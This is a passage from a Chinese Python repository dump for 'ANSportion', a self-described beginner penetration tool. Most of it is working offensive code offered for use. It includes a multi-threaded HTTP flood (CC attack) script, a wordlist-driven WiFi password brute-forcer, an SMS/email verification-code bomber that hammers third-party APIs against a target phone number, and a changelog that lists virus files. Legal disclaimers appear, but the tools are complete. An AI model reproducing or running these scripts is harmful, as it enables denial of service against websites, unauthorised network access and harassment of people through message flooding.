11 | M MMMMMMMM M MMMMMMMM M MMMMM MM MMMM MMMM MMMM MMMM M MMMMM MM M MMMMMMMM M MMMb. YM
12 | M. `MMM' .M M. `MMM' .M M MMMMM MM MMMM MMMM MMMM MMMM M MMMMM MM M. `MMM' .M M MMMMb M
13 | MM. .dM MM. .dM M MMMMM MM MMMM MMMM MMMM MMMM M MMMMM MM MM. .dM M MMMMM M
14 | MMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMM MMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMMM
15 |
16 | XXX_Stalker
17 | 当前版本: {version}
18 | 输入 'help' 查看帮助
19 | {"=" * 95}'''
20 |
21 | help = """
22 | [帮助信息]
23 | cls, clear --- 清屏
24 | exit --- 退出程序
25 |
26 | [攻击方式选择]
27 | [1] --- cc
28 | [2] --- 线程(thread cc)
29 | """
30 |
31 | def attack_cc_main():
32 | os.system("cls" if os.name == 'nt' else "clear")
33 | print("[安全警告]")
34 | print("-" * 40)
35 | print("1. 请确保您有目标网站的访问授权")
36 | print("2. 高频cc可能导致IP被封禁")
37 | print("3. 按 Ctrl+C 停止攻击")
38 | print("-" * 40)
39 | print("\n[重要法律声明]")
40 | print("=" * 50)
41 | print("根据 - 中华人民共和国刑法 - 第285、286条规定:")
42 | print("- 未经授权对计算机系统实施攻击可处5年以下有期徒刑")
43 | print("- 造成严重后果者可处5年以上有期徒刑")
44 | print("=" * 50)
45 | confirm = input("\n您确认已获得合法授权且了解法律风险吗?(y/n): ")
46 | if confirm in ['y', 'yes']:
47 | os.system("cls" if os.name == 'nt' else "clear")
48 | print(title)
49 | while True:
50 | while_input = input("CC ATTACK <<")
51 | if while_input == "help":
52 | print(help)
53 | elif while_input in ["cls", "clear"]:
54 | os.system("cls" if os.name == 'nt' else "clear")
55 | elif while_input == "exit":
56 | print("已退出")
57 | break
58 | elif while_input == "1":
59 | from CC.cc import cc_main
60 | cc_main()
61 | elif while_input == "2":
62 | from CC.thread_cc import thread_cc_main
63 | thread_cc_main()
64 | else:
65 | print("操作已取消")
66 | os.system("cls" if os.name == 'nt' else "clear")
67 |
--------------------------------------------------------------------------------
/plugins/plugins tutorial.txt:
--------------------------------------------------------------------------------
1 | 欢迎 您 加入 ANSportion Plugins 计划。
2 |
3 | 1. 首先我们需要一个引导文件,用于引导 ANSportion 去打开该引导文件的插件。
4 |
5 | 引导文件格式:
6 |
7 | 插件名用 'XXX' 代替
8 | 文件名: XXX_guide.py
9 | --------------------------------------------------------------------------------------------------------
10 | def RUN():
11 | print("插件 XXX 正在启动...")
12 | print("正在检查插件的引导文件...")
13 |
14 | with open("plugins/plugins_list.txt", "r", encoding="utf-8") as f:
15 | plu_list = f.readlines()
16 | if len(plu_list) == "XXX":
17 | if "XXX" in plu_list:
18 | print("插件 XXX 的插件表存在")
19 | else:
20 | print("插件 XXX 的插件表不存在")
21 | choose = input("是否创建插件 XXX 的插件表?(y/n)")
22 | if choose in ["y", "Y"]:
23 | with open("plugins/plugins_list.txt", "a", encoding="utf-8") as f:
24 | f.write("XXX\n")
25 | print("插件 XXX 的插件表已成功创建")
26 | else:
27 | print("插件 XXX 的插件表已取消创建")
28 | print("尝试打开插件的引导文件...")
29 | try:
30 | import importlib
31 | module = importlib.import_module("plugins.XXX.XXX_main")
32 | XXX_run = getattr(module, "XXX_run")
33 | XXX_run()
34 | except Exception as e:
35 | print(f"插件启动失败: {str(e)}")
36 |
37 | if __name__ == "__main__":
38 | RUN()
39 | --------------------------------------------------------------------------------------------------------
40 |
41 | 2. 写完引导文件之后需要配置插件的主程序文件。
42 |
43 | 主程序文件的格式:
44 |
45 | 插件名用 'XXX' 代替
46 | 文件名: XXX_main.py
47 | --------------------------------------------------------------------------------------------------------
48 | [ 你的脚本 ]
49 |
50 | def XXX_run():
51 | [ 你的脚本 ]
52 |
53 | if __name__ == "__main__":
54 | print(f"{'-' * 48}\n\t\tANSportion 插件 [ 填写作者名字 ] \n{'-' * 48}")
55 | --------------------------------------------------------------------------------------------------------
56 |
57 | 4. 最后在写入一个配置该插件的教程文件(用于帮助使用者更好的配置文件)。
58 |
59 | 直接复制就好,修改插件名就好。
60 | 文件名: config XXX.txt
61 | --------------------------------------------------------------------------------------------------------
62 | 将 XXX_guide.py 文件移动至 plugins 文件夹里面。
63 | 还需要在插件表里面配置该插件的环境,如何配置?
64 | 1. 可以在 ANSportion.py 文件中配置:
65 | 首先运行文件或它的EXE,然后输入指令 'plu' 打开名为 'plu' 的模块,在输入和 '配置指定插件的插件表' 相对应的序列号,
66 | 最后按照提示输入信息就可以配置成功了
67 | 2. 可以直接通过修改 插件表 来进行配置:
68 | 首先打开 plugins/plugins_list.txt 文件,在该文件最后一行输入该插件的名字,名字必须一模一样!(得保证最后一行是空的情况下!就是输入完记得回车!)
69 | --------------------------------------------------------------------------------------------------------
70 |
71 | 5. 以上格式请严格遵循,否则 ANSportion 将无法识别该插件。
72 |
73 | 欢迎所有创作者加入 ANSportion Plugins 计划。
--------------------------------------------------------------------------------
/Code/wifi_2.py:
--------------------------------------------------------------------------------
1 | import subprocess
2 | import threading
3 | import os
4 | import platform
5 | from tqdm import tqdm
6 |
7 | correct_password = None
8 | stop_event = threading.Event()
9 |
10 | def try_wifi_password(ssid, password):
11 | global correct_password
12 | if stop_event.is_set():
13 | return False
14 | if platform.system() == "Windows":
15 | command = f'netsh wlan connect name="{ssid}" ssid="{ssid}" key="{password}"'
16 | elif platform.system() == "Linux":
17 | command = f'nmcli device wifi connect "{ssid}" password "{password}"'
18 | elif platform.system() == "Darwin": # macOS
19 | command = f'networksetup -setairportnetwork en0 "{ssid}" "{password}"'
20 | else:
21 | print("不支持的操作系统!")
22 | return False
23 | result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
24 | if result.returncode == 0:
25 | correct_password = password
26 | stop_event.set()
27 | return True
28 | return False
29 |
30 | def worker(ssid, password_file, start, end, progress_bar):
31 | with open(password_file, 'r', encoding='utf-8') as file:
32 | file.seek(start)
33 | current_position = start
34 | while current_position < end:
35 | line = file.readline()
36 | if not line:
37 | break
38 | password = line.strip()
39 | if try_wifi_password(ssid, password):
40 | break
41 | progress_bar.update(1)
42 | current_position = file.tell()
43 |
44 | def load_passwords(password_file):
45 | if not os.path.exists(password_file):
46 | print(f"错误:文件 {password_file} 不存在!")
47 | exit(1)
48 | try:
49 | with open(password_file, 'r', encoding='utf-8') as file:
50 | total_lines = sum(1 for _ in file)
51 | file_size = os.path.getsize(password_file)
52 | return total_lines, file_size
53 | except Exception as e:
54 | print(f"读取文件时出错: {e}")
55 | exit(1)
56 |
57 | def wifi_2_main():
58 | global correct_password
59 | ssid = input("请输入WiFi的SSID: ")
60 | password_file = input("请输入密码文件路径(默认:passwords.txt): ") or "passwords.txt"
61 | num_threads = int(input("请输入线程数量(默认:4): ") or 4)
62 | total_lines, file_size = load_passwords(password_file)
63 | print(f"已加载文件,总行数: {total_lines},文件大小: {file_size // 1024} KB")
64 | progress_bar = tqdm(total=total_lines, desc="尝试密码", unit="密码")
65 | chunk_size = file_size // num_threads
66 | threads = []
67 | for i in range(num_threads):
68 | start = i * chunk_size
69 | end = file_size if i == num_threads - 1 else start + chunk_size
70 | thread = threading.Thread(target=worker, args=(ssid, password_file, start, end, progress_bar))
71 | threads.append(thread)
72 | thread.start()
73 | for thread in threads:
74 | thread.join()
75 | progress_bar.close()
76 | if correct_password:
77 | print(f"\n成功连接!SSID: {ssid}, 密码: {correct_password}")
78 | else:
79 | print("\n未找到正确的密码。")
--------------------------------------------------------------------------------
/Code/server_2.py:
--------------------------------------------------------------------------------
1 | import http.server
2 | import socketserver
3 | import socket
4 | import os
5 |
6 | # 获取本地 IP 地址
7 | def get_local_ip():
8 | hostname = socket.gethostname()
9 | ip_address = socket.gethostbyname(hostname)
10 | return ip_address
11 |
12 | local_ip = get_local_ip()
13 | IP = local_ip
14 |
15 | # 要下载的文件位于项目目录下的 code 文件夹中
16 | DOWNLOAD_FOLDER = input("文件路径:")
17 | FILE_NAME = input("文件名:")
18 | port_input = input("请输入端口号:")
19 | HTML_input = input("请输入存放HTML代码文件名:")
20 |
21 | try:
22 | with open(HTML_input, 'rb') as file:
23 | html_content = file.read()
24 | except FileNotFoundError:
25 | print(f"未找到 {HTML_input} 文件,请检查文件名和路径。")
26 | html_content = b"HTML file not found
"
27 |
28 | # 验证输入的端口号
29 | def validate_port(port):
30 | try:
31 | port = int(port_input)
32 | if 1 <= port <= 65535:
33 | return port
34 | else:
35 | print("端口号必须在 1 到 65535 之间。")
36 | return None
37 | except ValueError:
38 | print("端口号必须是整数。")
39 | return None
40 |
41 | # 防护路径遍历攻击
42 | def is_safe_path(path):
43 | safe_base = os.path.abspath(DOWNLOAD_FOLDER)
44 | requested_path = os.path.abspath(os.path.join(DOWNLOAD_FOLDER, path))
45 | return requested_path.startswith(safe_base)
46 |
47 | class CustomHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
48 | def do_GET(self):
49 | # 打印客户端IP地址
50 | client_ip = self.client_address[0]
51 | print(f"客户端IP: {client_ip}")
52 |
53 | if self.path == '/':
54 | # 处理根路径请求,返回 HTML 页面
55 | self.send_response(200)
56 | self.send_header("Content-type", "text/html")
57 | self.end_headers()
58 | self.wfile.write(html_content)
59 | elif self.path == '/download':
60 | # 处理下载请求,发送文件给用户
61 | if is_safe_path(FILE_NAME):
62 | try:
63 | with open(os.path.join(DOWNLOAD_FOLDER, FILE_NAME), 'rb') as file:
64 | self.send_response(200)
65 | self.send_header("Content-type", "application/octet-stream")
66 | self.send_header("Content-Disposition", f"attachment; filename={FILE_NAME}")
67 | self.end_headers()
68 | self.wfile.write(file.read())
69 | except FileNotFoundError:
70 | self.send_response(404)
71 | self.end_headers()
72 | self.wfile.write(b"File not found.")
73 | else:
74 | self.send_response(403)
75 | self.end_headers()
76 | self.wfile.write(b"Forbidden.")
77 | else:
78 | # 默认返回404
79 | self.send_response(404)
80 | self.end_headers()
81 | self.wfile.write(b"404 Not Found
")
82 |
83 | def server_2_main():
84 | port = None
85 | while port is None:
86 | port = validate_port(port_input)
87 |
88 | # 创建TCP服务器实例
89 | with socketserver.TCPServer((IP, port), CustomHTTPRequestHandler) as httpd:
90 | print(f"服务器地址 (http://{IP}:{port}) \n服务器已启动!!!")
91 | httpd.serve_forever()
--------------------------------------------------------------------------------
/Code/listen_1.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import threading
3 | import time
4 | import sys
5 | import os
6 |
7 | # 检测操作系统
8 | is_windows = os.name == "nt"
9 | is_linux = os.name == "posix" and sys.platform.startswith("linux")
10 | is_macos = os.name == "posix" and sys.platform.startswith("darwin")
11 |
12 | # 定义全局变量
13 | running = False
14 | monitor_thread = None
15 |
16 | # 检查单个端口是否开放
17 | def check_port(host, port):
18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19 | sock.settimeout(1)
20 | try:
21 | result = sock.connect_ex((host, port))
22 | if result == 0:
23 | return True
24 | return False
25 | except Exception:
26 | return False
27 | finally:
28 | sock.close()
29 |
30 | # 监控单个主机的多个端口
31 | def monitor_host_ports(host, ports):
32 | results = []
33 | for port in ports:
34 | open_status = check_port(host, port)
35 | results.append((port, open_status))
36 | return results
37 |
38 | # 监控多个主机的多个端口
39 | def monitor_multiple_hosts_ports(hosts, ports):
40 | all_results = []
41 | for host in hosts:
42 | host_results = monitor_host_ports(host, ports)
43 | all_results.extend([(host, port, status) for port, status in host_results])
44 | return all_results
45 |
46 | # 在终端中实时显示结果
47 | def display_results(results):
48 | # 清除终端内容
49 | if is_windows:
50 | os.system("cls")
51 | else:
52 | os.system("clear")
53 |
54 | # 打印结果
55 | print(f"{'主机':<15} {'端口':<5} {'状态':<8}")
56 | print("-" * 30)
57 | for host, port, status in results:
58 | status_text = "开放" if status else "关闭"
59 | print(f"{host:<15} {port:<5} {status_text:<8}")
60 |
61 | # 持续监控线程
62 | def continuous_monitoring(hosts, ports):
63 | global running
64 | while running:
65 | start_time = time.time()
66 | results = monitor_multiple_hosts_ports(hosts, ports)
67 | display_results(results)
68 | end_time = time.time()
69 | elapsed_time = end_time - start_time
70 | if elapsed_time < 5:
71 | time.sleep(5 - elapsed_time)
72 |
73 | # 处理Ctrl+C退出
74 | def handle_ctrl_c(signal, frame):
75 | global running
76 | print("\n接收到Ctrl+C,正在退出程序...")
77 | running = False # 设置全局变量,通知线程停止运行
78 |
79 | # 等待线程结束
80 | if monitor_thread is not None and monitor_thread.is_alive():
81 | monitor_thread.join(timeout=5) # 设置超时时间,避免阻塞
82 | if monitor_thread.is_alive():
83 | print("监听线程未能及时停止,强制退出...")
84 | sys.exit(1) # 强制退出程序
85 | print("程序已成功退出")
86 |
87 | # 主函数,用于启动程序
88 | def listen_1_main():
89 | global running
90 | global monitor_thread
91 | running = True
92 |
93 | # 如果没有提供输入,则通过用户输入获取
94 | hosts_input = input("请输入要监听的主机,多个主机用逗号分隔: ")
95 | ports_input = input("请输入要监听的端口,多个端口用逗号分隔: ")
96 |
97 | # 解析主机和端口
98 | hosts = [host.strip() for host in hosts_input.split(',')]
99 | ports = [int(port.strip()) for port in ports_input.split(',')]
100 |
101 | # 启动监控线程
102 | monitor_thread = threading.Thread(target=continuous_monitoring, args=(hosts, ports))
103 | monitor_thread.start()
104 |
105 | # 注册信号处理函数
106 | import signal
107 | signal.signal(signal.SIGINT, handle_ctrl_c)
108 |
109 | # 阻塞主线程,直到用户中断
110 | try:
111 | while running:
112 | time.sleep(1) # 主线程保持运行,等待线程结束
113 | except KeyboardInterrupt:
114 | handle_ctrl_c(None, None) # 捕获主线程的 KeyboardInterrupt
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ANSportion
2 | 
3 |
4 | ## 简介(brief introduction)
5 |
6 | 一款简单的渗透软件,虽然没有那些高级渗透软件厉害,但是这款渗透软件上手简单,适合那些初学者们快速上手。
7 | 制作使用的系统:Windows
8 | python版本:3.11
9 |
10 | A simple penetration software, although not as powerful as those advanced penetration software, this penetration software is easy to use and suitable for beginners to get started quickly.
11 | System used for production: Windows
12 | Python version: 3.11
13 |
14 | ## 协议(Agreement):
15 | 1. 出现任何事故由运行者自己承担
16 | 2. 禁止商用,盗用该软件(ANSportion)
17 | 3. 使用时禁止将创作者的版权标删除
18 | 4. 切记不可用于任何非法用途
19 | 5. 开发前需要得到开发许可(过程:进入QQ群:991478664,向XXX_STALKER申请开发许可即可)
20 | 6. 运行该软件之后就默认同意此协议
21 |
22 | ---------------------------------------------------------------------------------------------------------------------------------------
23 |
24 | 1. Any accident shall be the responsibility of the operator
25 | 2. Prohibit commercial use and misappropriation of the software (ANSportion)
26 | 3. It is forbidden to delete the creator's copyright mark when using it
27 | 4. Remember not to use it for any illegal purpose
28 | 5. You need to get a development license before development (process: enter the QQ group: 991478664, and apply for a development license from the XXX_STALKER)
29 | 6. After running the software, you agree to this agreement by default
30 |
31 | ## ANSportion如何安装可执行文件?(How does ANSportion install executable files?)
32 | **需要使用浏览器打开该网址!!!**
33 |
34 | **Windows:**
35 | https://share.weiyun.com/VnvAEFny
36 |
37 | **Linux:**
38 | 暂时没有,但python所有的文件都适配了基本上所有的系统
39 |
40 | Not yet, but all Python files are compatible with basically all systems
41 |
42 | **Mac OS:**
43 | 暂时没有,但python所有的文件都适配了基本上所有的系统
44 |
45 | Not yet, but all Python files are compatible with basically all systems
46 |
47 | ## 如何使用?(How to use it?)
48 |
49 | 正常进入ANSportion-Pro的画面(这里用1.1.5版本做案例),看图1.0
50 |
51 | Normally enter the ANSportion-Pro screen (here use the 1.1.5 version as an example), see Figure 1.0
52 |
53 | **图1.0**
54 | 
55 |
56 | 在输入框中输入"help"字样,可以查看帮助,如图1.1
57 |
58 | Enter the word "help" in the text box to view the help,As shown in Figure 1.1
59 |
60 | **图1.1**
61 | 
62 |
63 | ## 怎么使用这些模块?(How can I use these modules?)
64 |
65 | 在输入框中输入 [模块名],这里输入的案例是"check"模块,如图1.2
66 |
67 | Enter [module name] in the text box, the example entered here is the "check" module, as shown in Figure 1.2
68 |
69 | **图1.2**
70 | 
71 |
72 | 在输入你想用的功能前面的序列号就能使用该模块的指定功能了,这里以“”check,模块的“1”号功能当案例,如图1.3
73 |
74 | The serial number in front of entering the function you want to use can use the specified function of the module. Here, "check" and the "1" function of the module are used as an example, as shown in Figure 1.3.
75 |
76 | **图1.3**
77 | 
78 |
79 | 以此类推,以上就是ANSportion-Pro的使用方法了,怎么样简单吧?
80 |
81 | And so on, the above is how to use ANSportion-Pro, how simple is it?
--------------------------------------------------------------------------------
/Code/attack_2.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import re
3 | import json
4 | from colorama import Fore, Style, init
5 |
6 | # 初始化 colorama
7 | init(autoreset=True)
8 |
9 | def is_valid_mobile_number(mobile_number):
10 | pattern = re.compile(r"^1[3-9]\d{9}$")
11 | return pattern.match(mobile_number)
12 |
13 | def is_valid_email(email):
14 | pattern = re.compile(r"^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$")
15 | return pattern.match(email)
16 |
17 | def send_request(url, headers, payload, target_type, user_input, timeout=5):
18 | try:
19 | if headers.get("Content-Type") == "application/json;charset=UTF-8":
20 | payload[target_type] = user_input
21 | response = requests.post(url, headers=headers, json=payload, timeout=timeout)
22 | else:
23 | payload_str = "&".join([f"{key}={value}" for key, value in payload.items()])
24 | payload_str = payload_str.replace(f"{target_type}=", f"{target_type}={user_input}")
25 | response = requests.post(url, headers=headers, data=payload_str, timeout=timeout)
26 | return response
27 | except requests.exceptions.Timeout:
28 | print(Fore.YELLOW + f"请求超时,跳过接口: {url}")
29 | return None
30 | except Exception as e:
31 | print(Fore.RED + f"请求失败: {e}")
32 | return None
33 |
34 | def send_dynamic_request(url, user_input, timeout=5):
35 | try:
36 | url = url.replace("{mobile}", user_input)
37 | response = requests.get(url, timeout=timeout)
38 | return response
39 | except requests.exceptions.Timeout:
40 | print(Fore.YELLOW + f"请求超时,跳过接口: {url}")
41 | return None
42 | except Exception as e:
43 | print(Fore.RED + f"请求失败: {e}")
44 | return None
45 |
46 | def send_sms_verification(user_input, interfaces):
47 | if is_valid_mobile_number(user_input):
48 | target_type = "mobile"
49 | elif is_valid_email(user_input):
50 | target_type = "email"
51 | else:
52 | print(Fore.RED + "手机号或邮箱格式错误,请输入有效的手机号或邮箱。")
53 | return
54 |
55 | try:
56 | count = 0
57 | while True:
58 | count += 1
59 | print(Fore.YELLOW + f"\n第 {count} 次发送:")
60 | for idx, interface in enumerate(interfaces):
61 | print(Fore.CYAN + f"\n接口 {idx+1}: {interface['url']}")
62 | try:
63 | if target_type == "mobile" and "payload" in interface and "mobile" in interface["payload"]:
64 | response = send_request(interface["url"], interface["headers"], interface["payload"], "mobile", user_input)
65 | elif target_type == "email" and "payload" in interface and "email" in interface["payload"]:
66 | response = send_request(interface["url"], interface["headers"], interface["payload"], "email", user_input)
67 | elif target_type == "mobile" and "dynamic" in interface:
68 | response = send_dynamic_request(interface["url"], user_input)
69 | else:
70 | continue
71 |
72 | if response is None:
73 | continue
74 |
75 | if response.status_code == 200:
76 | print(Fore.GREEN + "成功发送验证码")
77 | try:
78 | print(Fore.GREEN + "响应内容:", response.json())
79 | except requests.exceptions.JSONDecodeError:
80 | print(Fore.GREEN + "响应内容不是有效的 JSON:", response.text)
81 | else:
82 | print(Fore.RED + f"发送验证码失败,响应码: {response.status_code}")
83 | print(Fore.RED + "响应内容:", response.text)
84 | except Exception as e:
85 | print(Fore.RED + f"请求失败: {e}")
86 | except KeyboardInterrupt:
87 | print(Fore.RED + "\n用户中断,程序停止。")
88 |
89 | def load_interfaces():
90 | try:
91 | with open("attack_2_API.json", 'r', encoding='utf-8') as f:
92 | content = f.read()
93 | content = re.sub(r',\s*}', '}', content)
94 | content = re.sub(r',\s*]', ']', content)
95 | return json.loads(content)
96 | except Exception as e:
97 | print(Fore.RED + f"加载接口配置失败: {e}")
98 | return []
99 |
100 | def attack_2_main():
101 | interfaces = load_interfaces()
102 | if not interfaces:
103 | return
104 | user_input = input("请输入手机号: ")
105 | send_sms_verification(user_input, interfaces)
106 |
107 | if __name__ == "__main__":
108 | attack_2_main()
109 |
--------------------------------------------------------------------------------
/CC/thread_cc.py:
--------------------------------------------------------------------------------
1 | import os
2 | import time
3 | import threading
4 | import random
5 | import requests
6 | from requests.exceptions import RequestException
7 |
8 | # 常量定义
9 | START_TIME = 5
10 | USER_AGENTS = [
11 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
12 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15",
13 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
14 | ]
15 |
16 | def clear_screen():
17 | os.system('cls' if os.name == 'nt' else 'clear')
18 |
19 | def load_headers():
20 | headers = {
21 | 'User-Agent': random.choice(USER_AGENTS),
22 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
23 | 'Accept-Language': 'en-US,en;q=0.5',
24 | 'Connection': 'keep-alive'
25 | }
26 | try:
27 | if os.path.exists("cc_headers.txt"):
28 | with open("cc_headers.txt", "r", encoding="utf-8") as f:
29 | for line in f:
30 | if ':' in line:
31 | key, value = line.strip().split(':', 1)
32 | headers[key.strip()] = value.strip()
33 | except Exception as e:
34 | print(f"[警告] 加载自定义头文件失败: {str(e)}")
35 | return headers
36 |
37 | def send_request(url, timeout=10):
38 | try:
39 | headers = load_headers()
40 | time.sleep(random.uniform(0.1, 0.5))
41 | response = requests.get(
42 | url,
43 | headers=headers,
44 | timeout=timeout,
45 | verify=False
46 | )
47 | if random.random() < 0.3:
48 | print(f"[{threading.current_thread().name}] 请求成功 | 状态码: {response.status_code}")
49 | return True
50 | except RequestException as e:
51 | if random.random() < 0.2:
52 | print(f"[{threading.current_thread().name}] 请求异常: {str(e)}")
53 | return False
54 |
55 | def worker(url, interval):
56 | try:
57 | while not exit_flag:
58 | success = send_request(url)
59 | if not success:
60 | time.sleep(1)
61 | sleep_time = interval * random.uniform(0.8, 1.2)
62 | time.sleep(max(0.1, sleep_time))
63 | except Exception as e:
64 | print(f"[严重错误] 工作线程崩溃: {str(e)}")
65 |
66 | def get_user_input():
67 | clear_screen()
68 | print("\n[攻击参数设置]")
69 | print("-" * 40)
70 | while True:
71 | url = input("请输入目标URL (包含http://或https://): ").strip()
72 | if url.startswith(('http://', 'https://')):
73 | break
74 | print("错误: URL必须以http://或https://开头")
75 | while True:
76 | try:
77 | threads_num = int(input("设置线程数 (1-1000): "))
78 | if 1 <= threads_num <= 1000:
79 | break
80 | print("错误: 线程数必须在1 ~ 1000之间")
81 | except ValueError:
82 | print("错误: 请输入有效数字")
83 | while True:
84 | try:
85 | interval = float(input("设置请求间隔秒数 (0 ~ 10): "))
86 | if 0 <= interval <= 10:
87 | break
88 | print("错误: 间隔时间必须在0 ~ 10秒之间")
89 | except ValueError:
90 | print("错误: 请输入有效数字")
91 | return url, threads_num, interval
92 |
93 | # 全局控制变量
94 | exit_flag = False
95 |
96 | def main():
97 | global exit_flag
98 | url, threads_num, interval = get_user_input()
99 | clear_screen()
100 | print("\n[攻击配置]")
101 | print("-" * 40)
102 | print(f"目标URL: {url}")
103 | print(f"线程数量: {threads_num}")
104 | print(f"请求间隔: {interval}秒")
105 | print(f"请求头: {load_headers()}")
106 | print("-" * 40)
107 | print(f"\n将在{START_TIME}秒后启动,按Ctrl+C取消...")
108 | try:
109 | for i in range(START_TIME, 0, -1):
110 | print(f"倒计时: {i}秒", end='\r', flush=True)
111 | time.sleep(1)
112 | except KeyboardInterrupt:
113 | print("\n\n用户取消操作")
114 | return
115 | print(f"\n启动{threads_num}个线程攻击目标...")
116 | threads = []
117 | try:
118 | for i in range(threads_num):
119 | t = threading.Thread(
120 | target=worker,
121 | args=(url, interval),
122 | name=f"Worker-{i+1}"
123 | )
124 | t.daemon = True
125 | t.start()
126 | threads.append(t)
127 | while True:
128 | time.sleep(1)
129 | except KeyboardInterrupt:
130 | print("\n接收到停止信号...")
131 | exit_flag = True
132 | for t in threads:
133 | t.join(2)
134 | finally:
135 | print("\n攻击已完全停止")
136 |
137 | def thread_cc_main():
138 | try:
139 | main()
140 | except Exception as e:
141 | print(f"\n程序发生错误: {str(e)}")
142 | finally:
143 | input("\n按Enter键退出...")
144 |
--------------------------------------------------------------------------------
/更新日志2.ans:
--------------------------------------------------------------------------------
1 | 1.1.9:
2 | - 内容:
3 | - 修复了插件功能
4 | - ANSportion.py 修改了初始化部分
5 | - 修改过或新增的文件'&'或文件夹'*':
6 | - ANSportion.py - 修改 &
7 | - Code/attack_1.py - 修改 &
8 | - Code/attack_2.py - 修改 &
9 | - Code/attack_CC.py - 修改 &
10 | - Code/port_1.py - 修改 &
11 | - cc/thread_cc.py - 修改 &
12 | - Code/use_1.py - 删除 &
13 | - DOS - 删除 *
14 |
15 | 1.1.8:
16 | - 内容:
17 | - ANSportion.py 修改了界面
18 | - 修复了插件功能
19 | - 修改过或新增的文件'&'或文件夹'*':
20 | - ANSportion.py - 修改 &
21 | - SetUp.py - 修改 &
22 | - DOS - 新增 *
23 | - CC - 新增 *
24 | - Code - 修改 *
25 |
26 | 1.1.7:
27 | - 内容:
28 | - ANSportion.py 修改了界面
29 | - Code & 严重BUG:
30 | - - 问题: IP校准有误
31 | - - 错误: 未知!
32 | - - 解决情况: 删除
33 | - - attack_2.py 文件支持自定义API接口了, 别再讲脚本拉垮了> M <
34 | - 新增了插件功能!
35 | - 修改过或新增的文件'&'或文件夹'*':
36 | - ANSportion.py - 修改 &
37 | - Install-library.py - 修改 &
38 | - SetUp.py - 修改 &
39 | - DOS - 新增 *
40 | - CC - 新增 *
41 | - Code - 修改 *
42 |
43 | 1.1.6:
44 | - 内容:
45 | - 修复了 ANSportion.py 文件中的BUG
46 | - - 问题: 不能通过命令"log" "log all"查看日志文件错误
47 | - - 错误: 未将新日志文件后缀更新至 ANSportion.py 文件里面
48 | - 修改过或新增的文件:
49 | - ANSportion.py - 修改
50 | - developer folder: *
51 | - - generate_dictionary.py - 新增
52 | - - Install_library.py - 修改
53 | - - SetUp.py - 新增
54 | - - wordart.py - 新增
55 | - - image.py - 新增
56 |
57 | 1.1.5:
58 | - 内容:
59 | - 修复了 ANSportion.py 文件中的BUG
60 | - 更新了 ANSportion.py 文件功能
61 | - 修复了 Install_library.py 文件中的BUG和不需要的库
62 | - 修复了 check_6.py 文件中的严重BUG
63 | - 修复了 check_2.py 文件中的严重BUG
64 | - 修复了 wiif_2.py 文件中的BUG
65 | - 修改过或新增的文件:
66 | - ANSportion.py - 修改
67 | - Install_library.py - 修改
68 | - check_6.py - 修改
69 | - check_2.py - 修改
70 | - use_1.py - 新增
71 | - wifi_2.py - 修改
72 |
73 | 1.1.4:
74 | - 内容:
75 | - 修复了 ANSportion.py 文件中的BUG
76 | - 修复了 attack_2.py 文件中的BUG
77 | - 修复了 setup.py 文件
78 | - 修改过或新增的文件:
79 | - ANSportion.py - 修改
80 | - attack_1.py - 修改
81 | - attack_3.py - 修改
82 | - attack_2.py - 新增
83 | - setup.py - 修改
84 |
85 | 1.1.3:
86 | - 内容:
87 | - 在 ANSportion.py 的文件中适配了系统
88 | - 修改了 attack_2.py 文件中的BUG和样式
89 | - 修改了 ANSportion.py 文件中的BUG
90 | - 修改了 setup.py 文件
91 | - 修改过或新增的文件:
92 | - ANSportion.py - 修改
93 | - check_5.py - 增加
94 | - check_6.py - 增加
95 | - Install_library.py - 修改
96 | - attack_2.py - 修改
97 | - setup.py - 修改
98 |
99 | 1.1.2:
100 | - 内容:
101 | - 在 ANSportion.py 的文件中适配了系统
102 | - 在 attack_2.py 的文件中修复了BUG
103 | - 修改过或新增的文件:
104 | - ANSportion.py - 修改
105 | - attack_2.py - 修改
106 |
107 | 1.1.1:
108 | - 内容:
109 | - 在 ANSportion.py 的文件中修复了BUG
110 | - 在 attack_1.py 的文件中修复了BUG
111 | - 新增了 attack_2.py 的文件
112 | - 在 check_3.py 的文件中修复了BUG
113 | - 修改过或新增的文件:
114 | - ANSportion.py - 修改
115 | - attack_1.py - 修改
116 | - attack_2.py - 增加
117 | - Install_library.py - 删除
118 | - virus-4.py - 增加
119 | - check_3.py - 修改
120 |
121 | 1.1.0:
122 | - 内容:
123 | - 在 ANSportion.py 的文件中修改了功能: 将整体代码更改
124 | - 在 crawler_3.py 的文件中修改内容:将整体代码更改,让其有更好的观赏性
125 | - 在 install_library.py 的文件中修改内容:增加了 threading 模块
126 | - 在 port_1.py 的文件中修改内容:修改了 线程自定义数量,限制了线程数量避免死机
127 | - 修改了 check_4.py 文件的名称 (原名:crawler_3.py)
128 | - 在 target.html 的文件中修改内容:修改了 线程自定义数量,限制了线程数量避免死机
129 | - 修改过或新增的文件:
130 | - ANSportion.py - 修改
131 | - crawler_3.py - 修改
132 | - install_library.py - 修改
133 | - port_1.py - 修改
134 | - check_4.py - 修改
135 | - check_2.py - 删除
136 | - check_1.py - 修改名称
137 | - target.html - 修改
138 |
139 | 1.0.8:
140 | - 内容:
141 | - 在 ANSportion.py 的文件中新增功能: 支持使用 command(cmd) / 更绝佳的可观性
142 | - 增加了 virus-3.0.py 文件
143 | - 增加了 virus-3.1.py 文件
144 | - 在 attack-1.py 的文件中新增功能: 支持使用 多个端口进行攻击
145 | - 在 port-1.py 的文件中新增功能: 增加了 提示
